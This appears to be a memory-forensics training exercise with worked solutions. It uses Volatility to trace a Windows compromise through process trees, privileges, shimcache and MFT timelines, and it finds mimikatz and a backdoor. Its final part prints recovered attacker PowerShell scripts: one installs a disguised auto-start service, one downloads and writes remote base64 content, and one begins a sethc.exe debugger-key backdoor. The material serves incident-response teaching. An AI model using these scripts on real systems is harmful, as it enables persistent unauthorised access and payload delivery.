812     11      0 2019-07-13 14:44:48 UTC+0000
... 0xffff9b01d6f16540:MicrosoftEdge.                5416
812      0 ------ 2019-07-13 14:45:01 UTC+0000
... 0xffff9b01d6f0f540:backgroundTask                4748
812     23      0 2019-07-13 15:29:08 UTC+0000
... 0xffff9b01d704b080:RuntimeBroker.                6436
812     12      0 2019-07-13 15:23:04 UTC+0000
... 0xffff9b01d8157080:SearchUI.exe                  4236
812     38      0 2019-07-13 15:23:03 UTC+0000
... 0xffff9b01d640a080:Microsoft.Phot                7224
812     17      0 2019-07-13 15:23:12 UTC+0000
... 0xffff9b01d759a200:browser_broker                9044
812      3      0 2019-07-13 15:23:12 UTC+0000
... 0xffff9b01d5fc0080:RuntimeBroker.                1880
812     10      0 2019-07-13 15:23:03 UTC+0000
... 0xffff9b01d76c8080:MicrosoftEdge.                3732
812     34      0 2019-07-13 15:23:11 UTC+0000
... 0xffff9b01d74f3080:ApplicationFra                7056
812      4      0 2019-07-13 15:23:11 UTC+0000
... 0xffff9b01d79d9080:RuntimeBroker.                9140
812      7      0 2019-07-13 15:29:08 UTC+0000
... 0xffff9b01d6027080:ShellExperienc                6816
812     26      0 2019-07-13 15:23:03 UTC+0000
... 0xffff9b01d8850080:RuntimeBroker.                2040
812      6      0 2019-07-13 15:23:22 UTC+0000
... 0xffff9b01d8003080:WindowsInterna                5628
812     23      0 2019-07-13 15:23:59 UTC+0000
.. 0xffff9b01d6154200:svchost.exe                    1804
```

```
604      3      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d579d200:svchost.exe                     728
604      1      0 2019-07-13 14:44:33 UTC+0000
.. 0xffff9b01d66792c0:VGAuthService.                 3352
604      2      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d6c20240:svchost.exe                    4996
604      7      0 2019-07-13 14:44:56 UTC+0000
.. 0xffff9b01d8279080:svchost.exe                    4144
604      3      0 2019-07-13 15:23:26 UTC+0000
.. 0xffff9b01d667d080:vmtoolsd.exe                   3368
604     10      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d6204240:svchost.exe                    2012
604      2      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d616e2c0:svchost.exe                    1836
604      5      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d8155240:svchost.exe                    2952
604      1      0 2019-07-13 14:46:59 UTC+0000
.. 0xffff9b01d66a6200:wlms.exe                       3388
604      2      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d7d95280:svchost.exe                    6464
604      9      0 2019-07-13 14:46:45 UTC+0000
.. 0xffff9b01d81d3340:SgrmBroker.exe                 1248
604      5      0 2019-07-13 14:47:03 UTC+0000
.. 0xffff9b01d606e280:svchost.exe                    1348
604      4      0 2019-07-13 14:44:36 UTC+0000
.. 0xffff9b01d75dd540:svchost.exe                    8524
604     10      0 2019-07-13 15:22:42 UTC+0000
.. 0xffff9b01d8261200:svchost.exe                    1884
604      7      0 2019-07-13 14:47:21 UTC+0000
.. 0xffff9b01d72260c0:svchost.exe                    7132
604      6      0 2019-07-13 15:22:53 UTC+0000
.. 0xffff9b01d66fb080:svchost.exe                    4968
604      2      0 2019-07-13 14:44:56 UTC+0000
.. 0xffff9b01d64e4240:svchost.exe                    2924
604      3      0 2019-07-13 14:44:41 UTC+0000
... 0xffff9b01d6029080:ctfmon.exe                    6640
2924     10      0 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d66d6200:svchost.exe                    3444
604      7      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d6349200:svchost.exe                    2348
604      5      0 2019-07-13 14:44:39 UTC+0000
.. 0xffff9b01d6098200:svchost.exe                    1404
604      8      0 2019-07-13 14:44:36 UTC+0000
... 0xffff9b01d5e9c540:sihost.exe                    6260
1404     17      0 2019-07-13 15:22:42 UTC+0000
.. 0xffff9b01d6504200:svchost.exe                    2944
604      7      0 2019-07-13 14:44:41 UTC+0000
.. 0xffff9b01d5e6d200:svchost.exe                     904
604      5      0 2019-07-13 14:44:33 UTC+0000
.. 0xffff9b01d63a81c0:spoolsv.exe                    2456
```

```
604      9      0 2019-07-13 14:44:40 UTC+0000
.. 0xffff9b01d61bd300:svchost.exe                    1940
604      5      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d60d32c0:svchost.exe                    1432
604      6      0 2019-07-13 14:44:36 UTC+0000
.. 0xffff9b01d6e020c0:svchost.exe                    7068
604      7      0 2019-07-13 15:22:46 UTC+0000
.. 0xffff9b01d70382c0:svchost.exe                    6564
604      2      0 2019-07-13 14:45:10 UTC+0000
.. 0xffff9b01d219c080:svchost.exe                    1448
604      3      0 2019-07-13 14:44:36 UTC+0000
.. 0xffff9b01d61dd200:svchost.exe                    1964
604      3      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d6724200:svchost.exe                    3516
604      5      0 2019-07-13 14:44:44 UTC+0000
.. 0xffff9b01d63b32c0:svchost.exe                    2496
604      5      0 2019-07-13 14:44:40 UTC+0000
.. 0xffff9b01d8121240:svchost.exe                    4044
604      1      0 2019-07-13 14:47:12 UTC+0000
.. 0xffff9b01d7dc92c0:svchost.exe                    4988
604      6      0 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d81c1080:svchost.exe                    1260
604      3      0 2019-07-13 15:24:43 UTC+0000
.. 0xffff9b01d810a280:svchost.exe                    8156
604      5      0 2019-07-13 14:47:28 UTC+0000
.. 0xffff9b01d75a4080:svchost.exe                    7136
604     10      0 2019-07-13 14:45:14 UTC+0000
.. 0xffff9b01d62db2c0:svchost.exe                    2216
604      5      0 2019-07-13 14:44:39 UTC+0000
.. 0xffff9b01d7dac080:svchost.exe                    7672
604      0 ------ 2019-07-13 15:00:12 UTC+0000
.. 0xffff9b01d622f2c0:svchost.exe                    1532
604     13      0 2019-07-13 14:44:39 UTC+0000
. 0xffff9b01d571b0c0:lsass.exe                        624
468      9      0 2019-07-13 14:44:31 UTC+0000
. 0xffff9b01d57a3100:fontdrvhost.ex                   736
468      5      0 2019-07-13 14:44:33 UTC+0000
 0xffff9b01d206b040:System                              4
0    115      0 2019-07-13 14:44:28 UTC+0000
. 0xffff9b01d2081080:Registry                         88
4      4      0 2019-07-13 14:44:20 UTC+0000
. 0xffff9b01d6194040:MemCompression                  1900
4     54      0 2019-07-13 14:44:38 UTC+0000
. 0xffff9b01d2bba040:smss.exe                         276
4      2      0 2019-07-13 14:44:28 UTC+0000
 0xffff9b01d883c340:csrss.exe                        8776
8968     11      0 2019-07-13 15:03:59 UTC+0000
 0xffff9b01d74bb540:winlogon.exe                     5312
8968      3      0 2019-07-13 15:03:59 UTC+0000
. 0xffff9b01d7da7540:LogonUI.exe                     5284
```

```
5312     13      0 2019-07-13 15:03:59 UTC+0000
. 0xffff9b01d7685540:fontdrvhost.ex                  3964
5312      5      0 2019-07-13 15:03:59 UTC+0000
. 0xffff9b01d766e080:dwm.exe                         5148
5312     12      0 2019-07-13 15:03:59 UTC+0000
 0xffff9b01d8244080:csrss.exe                         232
5428     11      0 2019-07-13 15:20:06 UTC+0000
 0xffff9b01d80eb080:winlogon.exe                     5724
5428      3      0 2019-07-13 15:20:07 UTC+0000
. 0xffff9b01d7374540:dwm.exe                         7288
5724     13      0 2019-07-13 15:20:07 UTC+0000
. 0xffff9b01d6079300:userinit.exe                    5100
5724      0 ------ 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d762c080:explorer.exe                   4408
5100     94      0 2019-07-13 15:22:43 UTC+0000
... 0xffff9b01d692f080:SecurityHealth                8288
4408      2      0 2019-07-13 15:23:25 UTC+0000
... 0xffff9b01d7183080:vmtoolsd.exe                  6824
4408      8      0 2019-07-13 15:23:26 UTC+0000
... 0xffff9b01d7550080:cmd.exe                       4908
4408      1      0 2019-07-13 15:24:24 UTC+0000
.... 0xffff9b01d73bf080:conhost.exe                  2100
4908      4      0 2019-07-13 15:24:24 UTC+0000
. 0xffff9b01d218d080:fontdrvhost.ex                  4692
5724      5      0 2019-07-13 15:20:07 UTC+0000
 0xffff9b01d80c3540:OneDrive.exe                     3948
7368     20      0 2019-07-13 15:26:49 UTC+0000
```

c) Once you've found the process or processes of interest, determine how much privilege they had using the `getsids` command. This will enable you to perform a risk impact assessment of how much damage could have been done.

Which process or processes do you believe were malicious? How much privilege did they have and what does that mean?

▼ **Solution**

Use `getsids -p process_id` to solve this problem:

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids -p 8816,8728,8960,7320
Volatility Foundation Volatility Framework 2.6.1
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
```

```
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
conhost.exe (8960): S-1-5-18 (Local System)
conhost.exe (8960): S-1-5-32-544 (Administrators)
conhost.exe (8960): S-1-1-0 (Everyone)
conhost.exe (8960): S-1-5-11 (Authenticated Users)
conhost.exe (8960): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
```

Another way to achieve this is to run `getsids` with grep looking for **notepadz** (*-C #* for surrounding context):

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids | grep -i notepadz -C 5
Volatility Foundation Volatility Framework 2.6.1
svchost.exe (5836): S-1-5-18 (Local System)
svchost.exe (5836): S-1-5-32-544 (Administrators)
svchost.exe (5836): S-1-1-0 (Everyone)
svchost.exe (5836): S-1-5-11 (Authenticated Users)
svchost.exe (5836): S-1-16-16384 (System Mandatory Level)
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
```

Alternatively, you can grep for the specific PID/PPID of the processes you're interested in:

```
analyst@forensics~$ vol2.py -f memory.dmp
```

```
--profile=Win10x64_17763 getsids | grep '8816\|8728\|8960
\|7320'
Volatility Foundation Volatility Framework 2.6.1
svchost.exe (2588):
S-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052
(MpsSvc)
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
conhost.exe (8960): S-1-5-18 (Local System)
conhost.exe (8960): S-1-5-32-544 (Administrators)
conhost.exe (8960): S-1-1-0 (Everyone)
conhost.exe (8960): S-1-5-11 (Authenticated Users)
conhost.exe (8960): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
svchost.exe (7292):
S-1-5-80-2020831507-1298702824-3288167190-116113825-4190209
```

Document all your findings, including the process identifier, its parent identifier, number of handles, and start time.

Exercise 3: Finding the

Malicious Files

The Windows Shimcache was created by Microsoft beginning in Windows XP to track compatibility issues with executed programs. This cache stores various file metadata depending on the operating system, such as:

- Full file path
- File size
- $STANDARD_INFORMATION last modified time
- Shimcache last updated time
- Process execution flag

It's important to understand there may be entries in the Shimcache that haven't executed. There are two actions that can cause the Shimcache to record an entry:

1. A file is executed: this is recorded on all versions of Windows beginning with XP
2. On Windows Vista, 7, Server 2008, and Server 2012, the Application Experience Lookup Service may record Shimcache entries for files in a directory that a user interactively browses. For example, if a directory contains the files "foo.txt" and "bar.exe", a Windows 7 system may record entries for these two files in the Shimcache

The serialised cache data associated with this information is stored in the Windows Registry in the following location, however it's typically not written out until the system gracefully performs a shutdown:

```
REG: HKLM\SYSTEM\CurrentControlSet\Control\Session
Manager\AppCompatCache\
```

Inspect the contents of the Shimcache, both in the Windows Registry and in memory, using the `shimcachemem` and `shimcache` commands. What interesting facts can you derive from the entries? Pay particular attention to the times and the full file paths.

▸ **Solution**

Document all your findings, including the entry time and the absolute file paths of applications of interest. Also consider recording why you think they're applications of interest.

Exercise 4: Finding the Malicious File (continued...)

Now that you have some investigation leads it's time to verify if they were indeed malicious or not. With a bit of luck some of their remnants will still exist in the filesystem artefacts resident in memory.

a) Extract the MFT using the `mftparser` command, outputting the MFT in a sleuthkit (tsk) body timeline format.

▾ **Hint**

There's some detail about the `mftparser` module found at Andrea Fortuna's blog that will be helpful: https://andreafortuna.org/2017/08/21/volatility-my-own-cheatsheet-part-8-filesystem/

▾ **Solution**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser --output=body --output-
file=mft.body
Volatility Foundation Volatility Framework 2.6.1
Outputting to: mft.body
Scanning for MFT entries and building directory, this can take
a while
```

b) Using the tsk utility `mactime`, convert the MFT body file into a human readable timeline.

▼ **Hint**

If you're not familiar with the mactime utility, refer to its usage documentation:

```
analyst@forensics~$ man 1 mactime
```

▼ **Solution**

Output the MFT to a CSV file:

```
analyst@forensics~$ mactime -b mft.body -d > mft.csv
```

Open in `Gnumeric`:

```
analyst@forensics~$ gnumeric mft.csv
```

c) Using the information from your Shimcache analysis, search for your data points within the MFT timeline and pivot using temporal analysis of the surrounding filesystem events. What interesting file artefacts did you find?

▼ **Solution**

You'll find that there are additional files of interest near that `malicious.exe` we just investigated:

```
analyst@forensics~$ cat mft.csv | grep -i 'Alan\\AppData
\\Local\\Temp' | less
Date,Size,Type,Mode,UID,GID,Meta,File Name
...
Sat Jul 13 2019 06:54:48,0,m...,r--
a-----------,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 06:56:02,0,..c.,r--
a-----------,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,macb,r--
a-----------,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,macb,r--
a-----------,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\malicious.exe (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,.a.b,r--
a-----------,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----------,0,0,81920,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\WRITER~1.PS1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----------,0,0,81920,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\WriteRemoteEncoded.ps1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----------,0,0,81920,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\WRITER~1.PS1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----------,0,0,83043,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\ELEVAT~1.PS1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----------,0,0,83043,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\ElevateExecute.ps1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----------,0,0,83043,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\ELEVAT~1.PS1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:52:14,0,macb,---
a-----------,0,0,80454,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\Sticky.ps1 (Offset: 0x11f04a800)"
Sat Jul 13 2019 14:52:14,0,macb,---
a-----------,0,0,80454,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\Sticky.ps1 (Offset: 0x11f04a800)"
Sat Jul 13 2019 14:55:14,0,macb,---
a-----------,0,0,84896,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\Service.ps1 (Offset: 0x10520000)"
Sat Jul 13 2019 14:55:14,0,macb,---
a-----------,0,0,84896,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\Service.ps1 (Offset: 0x10520000)"
```

```
...
```

We can also see evidence of `mimikatz` on Bob's desktop:

```
analyst@forensics~$ cat mft.csv | grep -i 'Bob\\Desktop\\x64'
| less
Tue Jan 22 2013 00:36:48,0,m...,---
a----------,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sun May 12 2019 23:36:44,0,m...,---
a----------,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sun May 12 2019 23:36:44,0,m...,---
a----------,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Wed Jul 10 2019 03:39:34,0,..c.,---
a----------,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Wed Jul 10 2019 03:39:39,0,..c.,---
a----------,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Wed Jul 10 2019 03:39:39,0,..c.,---
a----------,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sat Jul 13 2019 15:24:02,0,macb,-------------
D-,0,0,23481,"[MFT FILE_NAME] Users\Bob\Desktop\x64 (Offset:
0x27f4b400)"
Sat Jul 13 2019
15:24:02,0,...b,---------------,0,0,23481,"[MFT STD_INFO]
Users\Bob\Desktop\x64 (Offset: 0x27f4b400)"
Sat Jul 13 2019 15:24:02,0,macb,---
a----------,0,0,23482,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sat Jul 13 2019 15:24:02,0,.a.b,---
a----------,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sat Jul 13 2019 15:24:02,0,macb,---
a----------,0,0,23483,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:02,0,...b,---
a----------,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:03,0,.a..,---
a----------,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:03,0,macb,---
a----------,0,0,23484,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
```

```
Sat Jul 13 2019 15:24:03,0,.a.b,---
a----------,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sat Jul 13 2019
15:28:37,0,mac.,---------------,0,0,23481,"[MFT STD_INFO]
Users\Bob\Desktop\x64 (Offset: 0x27f4b400)"
```

Looking at the timestamps, this activity occurred later than the activity on Alan's computer:

```
Sat Jul 13 2019 14:42:50,0,macb,r--
a----------,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\malicious.exe (Offset: 0xb6b41400)"
...
Sat Jul 13 2019 15:24:02,0,macb,---
a----------,0,0,23483,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
```

Document your findings.

Exercise 5: Finding the Backdoor

a) Extract a new MFT using the `mftparser` command, this time outputting the MFT in a text format. Re-inspect the malicious files you found previously, this time looking for files that may contain resident $DATA

attribute entries.

▾ **Hint**

To achieve this, use the same command as earlier, but change the output type to text:

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser --output=text --output-
file=mft.txt
```

Then, using a tool of your choice (e.g. grep, nano, vim, etc.), search for the files you identified earlier in the MFT, looking for entries with $DATA information.

▾ **Solution**

You'll see multiple entries that aren't of interest, but when you hit a finding with $DATA information, it may seem pretty obvious:

```
analyst@forensics~$ less mft.txt
2019-07-13 15:00:49 UTC+0000 2019-07-13 15:00:49 UTC+0000
2019-07-13 15:00:49 UTC+0000   2019-07-13 15:00:49 UTC+0000
Users\Alan\AppData\Local\Temp\aria-debug-6844.log

$DATA
0000000000: 32 30 31 39 2d 30 37 2d 31 33 20 31 35 3a 30 30
2019-07-13.15:00
0000000010: 3a 34 39 2e 34 32 39 7c 30 30 30 30 38 35 33 36
:49.429|00008536
0000000020: 7c 0d 0a 43 3a 5c 62 75 69 6c 64 5c 61 72 69 61
|..C:\build\aria
0000000030: 2d 63 70 70 2d 76 31 5c 63 6c 69 65 6e 74 74 65
-cpp-v1\clientte
0000000040: 6c 65 6d 65 74 72 79 5c 73 72 63 5c 4c 6f 67 4d
lemetry\src\LogM
0000000050: 61 6e 61 67 65 72 49 6d 70 6c 2e 63 70 70 28 36
anagerImpl.cpp(6
0000000060: 32 36 29 3a 20 63 6c 61 73 73 20 4d 69 63 72 6f
26):.class.Micro
0000000070: 73 6f 66 74 3a 3a 41 70 70 6c 69 63 61 74 69 6f
soft::Applicatio
0000000080: 6e 73 3a 3a 54 65 6c 65 6d 65 74 72 79 3a 3a 49
ns::Telemetry::I
0000000090: 4c 6f 67 67 65 72 20 2a 5f 5f 74 68 69 73 63 61
```

```
Logger.*__thisca
00000000a0: 6c 6c 20 4d 69 63 72 6f 73 6f 66 74 3a 3a 41 70
ll.Microsoft::Ap
00000000b0: 70 6c 69 63 61 74 69 6f 6e 73 3a 3a 54 65 6c 65
plications::Tele
00000000c0: 6d 65 74 72 79 3a 3a 4c 6f 67 4d 61 6e 61 67 65
metry::LogManage
00000000d0: 72 49 6d 70 6c 3a 3a 49 6e 69 74 69 61 6c 69 7a
rImpl::Initializ
00000000e0: 65 28 63 6f 6e 73 74 20 63 6c 61 73 73 20 73 74
e(const.class.st
00000000f0: 64 3a 3a 62 61 73 69 63 5f 73 74 72 69 6e 67 3c
d::basic_string<
0000000100: 63 68 61 72 2c 73 74 72 75 63 74 20 73 74 64 3a
char,struct.std:
0000000110: 3a 63 68 61 72 5f 74 72 61 69 74 73 3c 63 68 61
:char_traits,class.std::al
0000000130: 6c 6f 63 61 74 6f 72 3c 63 68 61 72 3e 20 3e 20
locator.>.
0000000140: 26 2c 63 6f 6e 73 74 20 73 74 72 75 63 74 20 4d
&,const.struct.M
0000000150: 69 63 72 6f 73 6f 66 74 3a 3a 41 70 70 6c 69 63
icrosoft::Applic
0000000160: 61 74 69 6f 6e 73 3a 3a 54 65 6c 65 6d 65 74 72
ations::Telemetr
0000000170: 79 3a 3a 4c 6f 67 43 6f 6e 66 69 67 75 72 61 74
y::LogConfigurat
0000000180: 69 6f 6e 20 26 29 20 57 41 52 4e 49 4e 47 3a 20
ion.&).WARNING:.
0000000190: 49 6e 76 61 6c 69 64 20 69 6e 2d 72 61 6d 20 71
Invalid.in-ram.q
00000001a0: 75 65 75 65 20 73 69 7a 65 20 28 32 30 39 37 31
ueue.size.(20971
00000001b0: 35 32 30 29 2c 20 61 64 6a 75 73 74 65 64 20 74
520),.adjusted.t
00000001c0: 6f 20 6d 61 78 20 72 61 6d 20 71 75 65 75 65 20
o.max.ram.queue.
00000001d0: 73 69 7a 65 0d 0a
size..

*****************************************************************************
*****************************************************************************
MFT entry found at offset 0x10e6fc00
Attribute: In Use & Directory
Record Number: 78235
Link count: 2
```

b) When malicious actors burrow into a system they typically like to

duplicate their access, typically by installing additional backdoors. Locate the backdoor installation script potentially used by the adversary, then extract the resident file data so that you can include it in your final report, using the `dump` option of the `mftparser` command.

▼ **Hint**

As we saw, there were multiple potential files of interest (`WriteRemoteEncoded.ps1`, `ElevateExecute.ps1`, `Sticky.ps1`, `Service.ps1`). The file with the backdoor service is `Service.ps1`:

```
analyst@forensics~$ less mft.txt
**************************************************************************
**************************************************************************
MFT entry found at offset 0x10520000
Attribute: In Use & File
Record Number: 84896
Link count: 1


$STANDARD_INFORMATION
Creation                       Modified
MFT Altered                    Access Date
Type
------------------------------ ------------------------------
------------------------------ ------------------------------
----
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
2019-07-13 14:55:14 UTC+0000   2019-07-13 14:55:14 UTC+0000
Archive

$FILE_NAME
Creation                       Modified
MFT Altered                    Access Date
Name/Path
------------------------------ ------------------------------
------------------------------ ------------------------------
---------
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
2019-07-13 14:55:14 UTC+0000   2019-07-13 14:55:14 UTC+0000
Users\Alan\AppData\Local\Temp\Service.ps1

$DATA
0000000000: 24 70 61 74 68 20 3d 20 22 24 65 6e 76 3a 54 45
$path.="$env:TE
0000000010: 4d 50 5c 6e 6f 74 65 70 61 64 7a 2e 65 78 65 22
MP\notepadz.exe"
```

```
0000000020: 0a 0a 69 66 20 28 54 65 73 74 2d 50 61 74 68 20
..if.(Test-Path.
0000000030: 2d 50 61 74 68 20 24 70 61 74 68 29 20 7b 0a 20
-Path.$path).{..
0000000040: 20 20 20 4e 65 77 2d 53 65 72 76 69 63 65 20 2d
...New-Service.-
0000000050: 4e 61 6d 65 20 22 4e 6f 74 65 70 61 64 7a 22 20
Name."Notepadz".
0000000060: 2d 42 69 6e 61 72 79 50 61 74 68 4e 61 6d 65 20
-BinaryPathName.
0000000070: 24 70 61 74 68 20 2d 44 69 73 70 6c 61 79 4e 61
$path.-DisplayNa
0000000080: 6d 65 20 22 4e 6f 74 65 70 61 64 7a 22 20 2d 44
me."Notepadz".-D
0000000090: 65 73 63 72 69 70 74 69 6f 6e 20 22 4e 6f 6e 2d
escription."Non-
00000000a0: 6d 61 6c 69 63 69 6f 75 73 20 4e 6f 74 65 70 61
malicious.Notepa
00000000b0: 64 22 20 2d 53 74 61 72 74 75 70 54 79 70 65 20
d".-StartupType.
00000000c0: 41 75 74 6f 6d 61 74 69 63 0a 20 20 20 20 53 74
Automatic.....St
00000000d0: 61 72 74 2d 53 65 72 76 69 63 65 20 2d 4e 61 6d
art-Service.-Nam
00000000e0: 65 20 22 4e 6f 74 65 70 61 64 7a 22 0a 7d
e."Notepadz".}

*******************************************************************************
*******************************************************************************
```

▼ **Hint**

Check the help file for `mftparser` if you're stuck:

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser -h
```

▼ **Solution**

Run `mftparser` with the `-D` flag to dump the resident files in the MFT from memory:

```
analyst@forensics~$ mkdir resident
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser -o
0x10520000,0x117926000,0x11f04a800 -D ./resident/
```

If you `file` these dmp file, it's just ASCII text:

```
analyst@forensics~$ file ./resident/file.0x10520000.data0.dmp
file.0x10520000.data0.dmp: ASCII text
```

You could, if you wanted to, very easily restore them as they might have been seen on the system (i.e. at the path **Users\Alan\AppData\Local\Temp\Service.ps1**), by copying and renaming it to **Service.ps1** to include as an appendix in your report:

```
analyst@forensics~$ cp ./resident/file.0x10520000.data0.dmp
./Service.ps1
```

Now the files have been dumped, check their contents:

```
analyst@forensics~$ cat ./resident/file.0x10520000.data0.dmp
$path = "$env:TEMP\notepadz.exe"

if (Test-Path -Path $path) {
    New-Service -Name "Notepadz" -BinaryPathName $path
-DisplayName "Notepadz" -Description "Non-malicious Notepad"
-StartupType Automatic
    Start-Service -Name "Notepadz"
}
```

If you're interested these are the other two files:

```
analyst@forensics~$ cat ./resident/file.0x117926000.data0.dmp
Param(
    [Parameter(Mandatory=$true,
    ValueFromPipeLine=$false)]
    [String[]]
    $Uri,

    [Parameter(Mandatory=$true,
```

```
    ValueFromPipeLine=$false)]
    [String[]]
    $FileName
)

Write-Host $Uri

$path = "$env:TEMP\$FileName"
if (Test-Path -Path $path) {
    Write-Host "[*] File already exist at $ScriptPath"
    return -1
}

$data = [System.Convert]::FromBase64String((Invoke-WebRequest
-Uri "$Uri" -UseBasicParsing).content)
[System.IO.File]::WriteAllBytes($path, $data)



analyst@forensics~$ cat ./resident/file.0x11f04a800.data0.dmp
$path = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Image File Execution Options\sethc.exe"
if (!(Test-Path -Path $path)) {
    New-Item -Path $path -Force
}

